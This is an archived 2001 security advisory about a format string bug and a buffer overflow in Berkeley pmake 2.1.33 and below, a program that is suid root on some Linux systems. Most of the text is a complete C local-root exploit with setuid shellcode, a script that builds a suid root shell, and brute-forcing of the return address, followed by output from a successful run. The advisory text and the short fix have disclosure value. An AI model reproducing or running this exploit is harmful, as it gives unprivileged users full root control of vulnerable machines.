TUCoPS :: Linux :: Apps N-Z :: lnx4870.htm

pmake Format String Bug
22th Nov 2001 [SBWID-4870]
COMMAND

	pmake

SYSTEMS AFFECTED

	Berkeley\'s pmake 2.1.33 and below

PROBLEM

	Paul Starzetz found a format string bug in the Berkeley\'s pmake  2.1.33
	and below (parallel make) package as well as a buffer overflow  problem.
	Pmake is  suid  root  on  various  Linux  distributions  and  uses  root
	privileges for binding to low TCP ports. The ordinary format string  bug
	leads to local root compromise on all vulnerable machines.
	

	 Details

	 -------

	

	The vulnerable code can be found in src/job.c  at  line  720  and  looks
	like:
	

	  if (! (job->flags & JOB_SILENT) && !shutUp &&

	      commandShell->hasEchoCtl) {

	   DBPRINTF (\"%s\\n\", commandShell->echoOff);

	   DBPRINTF (commandShell->errCheck, cmd);

	   shutUp = TRUE;

	  }

	

	

	and in src/str.c line 170:
	

	

	    register char    *tstr;      /* Pointer into tstring */

	    char             tstring[512]; /* Temporary storage for the

	      * current word */

	

	

	So if the user puts a shell definition into  the  Makefile,  pmake  will
	use errCheck for output formatting which is controllable  by  the  user.
	The following Makefile demonstrates the format string problem:
	

	

	all:

	        -echo blah

	

	.SHELL : path=/bin/sh echo=\"\" quiet=\"\" hasErrCtl=no check=%x%x%x%x%x

	

	

	Putting a long line (>512 characters) in place of the \'%x\' results  in
	SIGSEGV and possible overwrite of the return address  on  the  stack  (a
	very carefully prepared string is needed).
	

	 Exploit

	 -------

	

	A hole is a hole is a ... only if it  is  exploitable.  The  attached  C
	source code will brute force the format string and create a suid  shell.
	There is nothing special about it - the only hard point is  to  get  the
	write length correctly. Succesfull exploitation looks like:
	

	

	paul@phoenix:~/expl/pmake > ./pm -w+2

	

	*****************************************

	*                                       *

	*       pmake local root exploit        *

	*       by IhaQueR@IRCnet \'2001         *

	*                                       *

	*****************************************

	

	

	

	* PHASE 1

	

	        preparing new environment

	        cleaning

	        preparing shell script

	        allocating pipe

	        stdout/in preparation

	        generating Makefile

	        finished setup

	

	

	* PHASE 2

	

	        digging magic string:      0    1    2    3    4    5    6    7 

	                                   8    9   10   11   12 

	        found mark, parsing output

	        FOUND magic string with pading=0  output length=1446

	

	

	* PHASE 3

	

	        looking for write position:    1  * FOUND *

	        FOUND write position at index=1

	        creating final makefile

	        creating shell in the environment

	

	

	* PHASE 4

	

	        brute force RET:         0xbfff73b0 0xbfff73b4 0xbfff73b8

	0xbfff73bc 0xbfff73c0

	

	Paradox, created suid shell at /home/paul/expl/pmake/sush

	

	

	

	

	----------------------------------- pmexpl.c

	-----------------------------------

	

	/****************************************************************

	*                                                               *

	*  Pmake <= 2.1.33 local root exploit                           *

	*  coded by IhaQueR@IRCnet                                      *

	*  compile with gcc -pmexpl-c -o pm                             *

	*  meet me at HAL \'2001                                         *

	*                                                               *

	****************************************************************/

	

	

	

	

	

	#include <stdio.h>

	#include <unistd.h>

	#include <fcntl.h>

	#include <sys/stat.h>

	#include <sys/wait.h>

	#include <string.h>

	#include <signal.h>

	#include <stdlib.h>

	

	

	

	// some definitions

	#define TARGET \"/usr/bin/pmake\"

	#define MKFILE \"Makefile\"

	#define MKMSH \"./mkmsh\"

	#define TMPLEN 256

	#define USERSTACK 0xc0000000u

	#define NN \"\\E[m\"

	#define GR \"\\E[32m\"

	#define RD \"\\E[31m\"

	#define BL \"\\E[34m\"

	#define BD \"\\E[1m\"

	#define FL \"\\E[5m\"

	#define UL \"\\E[4m\"

	

	

	extern char **environ;

	

	static const char *banner = \"\\n\"

	       BL\"*****************************************\\n\"

	       \"*\\t\\t\\t\\t\\t*\\n\"

	       \"*\\tpmake local root exploit\\t*\\n\"

	       \"*\\tby \"FL\"IhaQueR@IRCnet\"NN BL\" \'2001\\t\\t*\\n\"

	       \"*\\t\\t\\t\\t\\t*\\n\"

	       \"*****************************************\\n\"

	       \"\\n\"NN;

	

	static const char *usage = \"\\n\"

	       UL\"USAGE:\"NN \" %s\\t-w <wlen delta, try -32,...,32>\\n\"

	       \"\\t\\t-s <shell addr>\\n\"

	       \"\\t\\t-a <ret addr  0xbfff73c0 for orig SuSE 7.1 and pmake

	2.1.33>\\n\"

	       \"\\t\\t-m <attempts>\\n\"

	       \"\\t\\t-p <%%g preload>\\n\"

	       \"\\n\";

	

	static const char *mkfile = \"all:\\n\\t-echo blah\\n\\n.SHELL : path=/bin/sh

	echo=\\\"\\\" quiet=\\\"\\\" hasErrCtl=no check=\";

	

	// setresuid(0,0,0) shellcode

	static char hellcode[]= \"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\"

	      \"\\xb0\\xa4\\xcd\\x80\"

	      \"\\xeb\\x24\\x5e\\x8d\\x1e\\x89\\x5e\\x0b\\x33\\xd2\\x89\\x56\\x07\\x89\\x56\\x0f\"

	      \"\\xb8\\x1b\\x56\\x34\\x12\\x35\\x10\\x56\\x34\\x12\\x8d\\x4e\\x0b\\x8b\\xd1\\xcd\"

	      \"\\x80\\x33\\xc0\\x40\\xcd\\x80\\xe8\\xd7\\xff\\xff\\xff./mkmsh\";

	

	// our suid shell maker

	static char mkmsh[] = \"#!/bin/bash\\n\"

	      \"cat <<__DUPA__>sush.c\\n\"

	      \"#include <stdio.h>\\n\"

	      \"#include <unistd.h>\\n\"

	      \"main() {setuid(geteuid()); execl(\\\"/bin/bash\\\", \\\"/bin/bash\\\",

	NULL);}\\n\"

	      \"__DUPA__\\n\"

	      \"gcc sush.c -o sush >/dev/null 2>&1\\n\"

	      \"chown 0.0 sush\\n\"

	      \"chmod u+s sush\\n\";

	

	static char *fromenv[] = { \"TERM\",

	       \"HOME\",

	       \"PATH\"

	      };

	

	#define numenv (sizeof(fromenv)/sizeof(char*)+2)

	

	static char *myenv[numenv];

	static char eb[numenv][TMPLEN];

	

	int cn=0;

	

	

	void child_kill(int v)

	{

	  cn--;

	}

	

	

	int do_fork()

	{

	  cn++;

	  return fork();

	}

	

	

	int main(int ac, char** av)

	{

	int pd[2], fd, mk, i, j, res, pid, cnt, flip, mx, wdel;

	unsigned *up, pad, wlen, shadr, wadr, len1, old, idx, gprel;

	unsigned char *ptr;

	char buf[16384];

	char buf2[16384];

	char aaaa[1024*32];

	char head[64];

	struct stat sb;

	fd_set rs;

	

	

	// setup defaults

	// shell address is calculated from user stack location and the big nop

	buffer...should work :-/

	  shadr = USERSTACK - sizeof(aaaa)/2;

	  wadr = 0xbfff73b0;

	  mx = 512;

	  gprel=150;

	  wdel=0;

	

	  setpgrp();

	  setsid();

	

	  printf(banner);

	

	// parse options

	  if(ac!=1) {

	   res = getopt(ac, av, \"hw:s:a:m:p:\");

	   while(res!=-1) {

	    switch(res) {

	    case \'w\' :

	     wdel = atoi(optarg);

	     break;

	

	    case \'s\' :

	     sscanf(optarg, \"%x\", &shadr);

	     break;

	

	    case \'a\' :

	     sscanf(optarg, \"%x\", &wadr);

	     break;

	

	    case \'m\' :

	     sscanf(optarg, \"%d\", &mx);

	     break;

	

	    case \'p\' :

	     sscanf(optarg, \"%d\", &gprel);

	     if(gprel==0)

	      gprel=1;

	     break;

	

	    case \'h\' :

	    default :

	     printf(usage, av[0]);

	     exit(0);

	     break;

	    }

	    res = getopt(ac, av, \"hw:s:a:m:p:\");

	   }

	  }

	

	

	// phase 1 : setup

	  printf(\"\\n\\n\"BD BL\"* PHASE 1\\n\"NN);

	

	// prepare environ

	  printf(\"\\n\\tpreparing new environment\");

	  memset(aaaa, \'A\', sizeof(aaaa));

	  aaaa[4]=\'=\';

	  up=(unsigned*)(aaaa+5);

	  for(i=0; i<sizeof(aaaa)/sizeof(int)-2; i++)

	   up[i]=0x41424344;

	  aaaa[sizeof(aaaa)-1]=0;

	  len1=strlen(aaaa);

	

	// buffer overflow :-)

	  myenv[0]=aaaa;

	  for(i=1; i<numenv-1; i++) {

	   myenv[i]=eb[i-1];

	   strcpy(eb[i-1], fromenv[i-1]);

	   if(!strchr(fromenv[i-1], \'=\')) {

	    strcat(eb[i-1], \"=\");

	    strcat(eb[i-1], getenv(fromenv[i-1]));

	   }

	  }

	  myenv[numenv-1]=NULL;

	

	// clean

	  printf(\"\\n\\tcleaning\");

	  unlink(\"LOCK.make\");

	  unlink(\"sush\");

	  unlink(\"sush.c\");

	  unlink(\"mkmsh\");

	  system(\"rm -rf /tmp/make* >/dev/null 2>&1\");

	

	// our suid shell

	  printf(\"\\n\\tpreparing shell script\");

	  mk = open(MKMSH, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU|S_IXGRP|S_IXOTH);

	  if(mk<0)

	   perror(\"open\"), exit(1);

	  write(mk, mkmsh, strlen(mkmsh));

	  close(mk);

	

	// comm pipe

	  printf(\"\\n\\tallocating pipe\");

	  res = pipe(pd);

	  if(res<0)

	   perror(\"pipe\"), exit(2);

	

	// redirect stdin/out

	  printf(\"\\n\\tstdout/in preparation\");

	  res = dup2(pd[1], 2);

	  if(res<0)

	   perror(\"dup2\"), exit(3);

	

	  fd = open(\"/dev/null\", O_RDWR);

	  if(fd<0)

	   perror(\"open\"), exit(4);

	

	// our makefile

	  printf(\"\\n\\tgenerating Makefile\");

	  mk = open(MKFILE, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU);

	  if(mk<0)

	   perror(\"open\"), exit(5);

	  write(mk, mkfile, strlen(mkfile));

	  for(i=0; i<gprel; i++)

	   write(mk, \"%g\", 2);

	  fsync(mk);

	

	// child killer

	  printf(\"\\n\\tfinished setup\");

	  if(signal(SIGCHLD, &child_kill)==SIG_ERR)

	   perror(\"signal\"), exit(6);

	

	

	// phase 2 : dig format string

	  printf(\"\\n\\n\\n\" BD BL \"* PHASE 2\\n\"NN);

	  printf(\"\\n\\tdigging magic string:\\t\");

	

	  cnt=0;

	  while(1) {

	

	   lseek(mk, -2, SEEK_CUR);

	   write(mk, \"%g%x\", 4);

	   fsync(mk);

	   usleep(1);

	

	   pid = do_fork();

	

	// get child output

	   if(pid) {

	    printf(\"%4d \", cnt);

	    fflush(stdout);

	

	    do {

	     bzero(buf, sizeof(buf));

	     res = read(pd[0], buf, sizeof(buf)-1);

	     if(res > 128) {

	      break;

	     }

	    } while(1);

	    kill(SIGTERM, pid);

	    usleep(1);

	    waitpid(pid, NULL, WUNTRACED);

	    bzero(buf2, sizeof(buf2));

	    read(pd[0], buf2, sizeof(buf2)-1);

	    if(waitpid(pid, NULL, WUNTRACED|WNOHANG)>0)

	     read(pd[0], buf2, sizeof(buf2)-1);

	

	// look for padding

	    pad=-1;

	    if(strstr(buf, \"41424344\")) {

	     pad=0;

	    }

	    else if(strstr(buf, \"42434441\")) {

	     pad=1;

	    }

	    else if(strstr(buf, \"43444142\")) {

	     pad=2;

	    }

	    else if(strstr(buf, \"44414243\")) {

	     pad=3;

	    }

	

	// if got the mark parse output for final string

	    if(pad!=-1) {

	     printf(\"\\n\\tfound mark, parsing output\");

	     ptr = strtok(buf, \"\\t\\n \");

	     while(ptr) {

	      if(strlen(ptr)>64)

	       break;

	      ptr = strtok(NULL, \"\\t\\n \");

	     }

	

	// calculate write length -6, -8 hm I\'m dunno about the 16?

	     wlen=strlen(ptr)+wdel-16;

	     printf(\"\\n\\tFOUND magic string with pading=%d  output length=%d\",

	pad, wlen);

	

	

	// PHASE 3 : find write pos in aaaa

	     printf(\"\\n\\n\\n\" BD BL \"* PHASE 3\\n\"NN);

	

	     printf(\"\\n\\tlooking for write position: \");

	

	     up=(unsigned*)(aaaa+5-pad);

	     cnt=0;

	

	     for(i=1; i<sizeof(aaaa)/sizeof(int)-1; i++) {

	      old=up[i];

	      up[i]=0xabcdef67;

	      printf(\"%4d \", i);

	      sprintf(head, \"%x\", up[i]);

	      fflush(stdout);

	

	      if(cn)

	       read(pd[0], buf2, sizeof(buf2)-1);

	      pid = do_fork();

	      if(pid) {

	       do {

	        bzero(buf, sizeof(buf));

	        FD_ZERO(&rs);

	        FD_SET(pd[0], &rs);

	        select(pd[0]+1, &rs, NULL, NULL, NULL);

	        res = read(pd[0], buf, sizeof(buf)-1);

	        if(res > 128) {

	         break;

	        }

	       } while(1);

	       kill(SIGTERM, pid);

	       usleep(1);

	       read(pd[0], buf2, sizeof(buf2)-1);

	

	// up[i] is now the place for the beginning of our address field

	       if(strstr(buf, head)) {

	        printf(\" * FOUND *\");

	        fflush(stdout);

	        up[i]=old;

	        idx=i;

	        printf(\"\\n\\tFOUND write position at index=%d\", i);

	        up[i]=old;

	        ptr = strtok(buf, \"\\t\\n \");

	        while(ptr) {

	         if(strlen(ptr)>64)

	          break;

	         ptr = strtok(NULL, \"\\t\\n \");

	        }

	

	// construct write \'head\':

	        printf(\"\\n\\tcreating final makefile\");

	        fflush(stdout);

	        lseek(mk, -2, SEEK_CUR);

	

	        ptr = (unsigned char*)&shadr;

	        for(j=0; j<4; j++) {

	         flip = (((int)256) + ((int)ptr[j])) - ((int)(wlen % 256u));

	         wlen = wlen + flip;

	         sprintf(head+j*8, \"%%%04dx%%n\", flip);

	        }

	        head[32] = 0;

	        write(mk, head, strlen(head));

	

	// brute force RET on the stack upon success

	        printf(\"\\n\\tcreating shell in the environment\");

	

	// create env shell

	        ptr = (unsigned char*)&(up[i+2*10]);

	        while(ptr<(unsigned char*)(aaaa+sizeof(aaaa)-4)) {

	         *ptr=0x90;

	         ptr++;

	        }

	

	        strncpy(aaaa+sizeof(aaaa)-strlen(hellcode)-1, hellcode,

	strlen(hellcode));

	        aaaa[sizeof(aaaa)-1]=0;

	        if(len1!=strlen(aaaa)) {

	         printf(BD RD\"\\nERROR: len changed!\\n\"NN);

	         exit(7);

	        }

	

	// phase 4: brute force

	        printf(\"\\n\\n\\n\"BD BL\"* PHASE 4\\n\"NN);

	        printf(\"\\n\\tbrute force RET:\\t\");

	        fflush(stdout);

	        cnt=0;

	

	        while(cnt<mx) {

	

	         for(j=0; j<4; j++) {

	          up[idx+2*j] = wadr + j%4;

	          up[idx+2*j+1] = wadr + j%4;

	         }

	

	         pid = do_fork();

	         if(pid) {

	          printf(\" 0x%.8x\", wadr);

	          fflush(stdout);

	          waitpid(pid, NULL, WUNTRACED);

	          res = stat(\"sush\", &sb);

	          if(!res && sb.st_uid==0) {

	           printf(BD GR\"\\n\\nParadox, created suid shell at

	%s/sush\\n\\n\"NN, getcwd(buf, sizeof(buf)-1));

	           system(\"rm -rf /tmp/make* >/dev/null 2>&1\");

	           exit(0);

	          }

	         }

	         else {

	          res = dup2(fd, 1);

	          if(res<0)

	           perror(\"dup2\"), exit(8);

	          res = dup2(fd, 2);

	          if(res<0)

	           perror(\"dup2\"), exit(9);

	

	          execle(TARGET, TARGET, \"-X\", \"-dj\", NULL, myenv);

	          _exit(10);

	         }

	         if(cnt%8==7)

	          printf(\"\\n\\t\\t\\t\\t\");

	         cnt++;

	         wadr += 4;

	        }

	// failure

	        printf(BD RD\"\\nFAILED :-(\"NN);

	        system(\"rm -rf /tmp/make* >/dev/null 2>&1\");

	        exit(11);

	       }

	      }

	      else {

	       res = dup2(fd, 1);

	       if(res<0)

	        perror(\"dup2\"), exit(12);

	       execle(TARGET, TARGET, \"-X\", \"-dj\", NULL, myenv);

	       exit(13);

	      }

	      up[i]=old;

	      waitpid(pid, NULL, WUNTRACED);

	     }

	

	     printf(BD RD\"\\n\\tstrange error, write pos not found!\\n\"NN);

	     system(\"rm -rf /tmp/make* >/dev/null 2>&1\");

	     exit(14);

	

	     ptr = strtok(buf, \"\\n\");

	     while(ptr) {

	      printf(\"\\nLINE [%s]\", ptr);

	      ptr = strtok(NULL, \"\\n\");

	     }

	

	     exit(15);

	    }

	

	// start target and read output

	   }

	   else {

	    res = dup2(fd, 1);

	    if(res<0)

	     perror(\"dup2\"), exit(16);

	    execle(TARGET, TARGET, \"-X\", \"-dj\", NULL, myenv);

	    exit(17);

	   }

	

	   if(cnt%8==7)

	    printf(\"\\n\\t\\t\\t\\t\");

	   cnt++;

	  }

	

	  printf(BD RD\"\\nFAILED\\n\"NN);

	  system(\"rm -rf /tmp/make* >/dev/null 2>&1\");

	

	return 0;

	}

	

	

SOLUTION

	The patch for the format string bug is obvious.  Temporary  solution  is
	to remove the suid bit from the binary.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH